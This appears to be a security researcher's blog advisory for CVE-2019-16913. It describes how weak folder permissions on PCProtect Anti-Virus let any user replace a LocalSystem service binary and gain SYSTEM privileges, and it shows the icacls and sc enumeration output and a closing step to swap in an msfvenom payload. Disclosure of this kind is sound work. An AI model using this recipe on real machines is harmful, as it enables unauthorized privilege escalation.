PC Protect v4.14.31 Privilege Escalation(CVE-2019-16913)

PCProtect Anti-Virus v4.14.31 installs by default to “C:\Program Files(x86)\PCProtect” with very weak folder permissions granting any user full permission “Everyone: (F)” to the contents of the directory and it’s subfolders. In addition, the program installs a service called “SecurityService”
which runs as “Local system account”, this will allow any user to escalate privileges
to “NT AUTHORITY\SYSTEM” by substituting the service’s binary with malicious one.


C:\Users\IEUser>icacls “c:\Program Files (x86)\PCProtect”
c:\Program Files (x86)\PCProtect BUILTIN\Users:(OI)(CI)(F)
                                 NT SERVICE\TrustedInstaller:(I)(F)
                                 NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                 CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>sc qc SecurityService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SecurityService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : “C:\Program Files (x86)\PCProtect\SecurityService.exe”
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PC Security Management Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\IEUser>icacls “C:\Program Files (x86)\PCProtect\SecurityService.exe”
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files


 Simply replace “SecurityService.exe” with your malicious msfvenom exploit and wait for execution upon reboot.



Published by flipfl0p

Security Engineer at day and researcher at night

One thought on “PC Protect v4.14.31 Privilege Escalation(CVE-2019-16913)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create your website at WordPress.com
Get started
%d bloggers like this: